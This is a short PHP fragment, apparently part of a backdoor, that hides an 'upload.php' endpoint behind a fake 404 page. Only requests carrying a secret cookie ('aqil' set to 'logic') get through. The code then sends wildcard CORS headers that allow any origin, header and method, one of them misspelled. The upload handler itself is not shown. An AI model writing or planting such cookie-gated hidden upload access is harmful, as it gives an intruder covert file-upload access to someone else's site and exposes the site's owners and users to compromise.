if (strpos($_SERVER['REQUEST_URI'], 'upload.php') !== false) { if (!isset($_COOKIE['aqil']) || $_COOKIE['aqil'] !== 'logic') { header("HTTP/1.0 404 Not Found"); exit; } } session_start(); header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Headers: *"); header("Access-Control-Allow-Methods: *"); header("Access-Control-Requests-Method: *"); header("Access-Control-Request-Headers: *"); ?>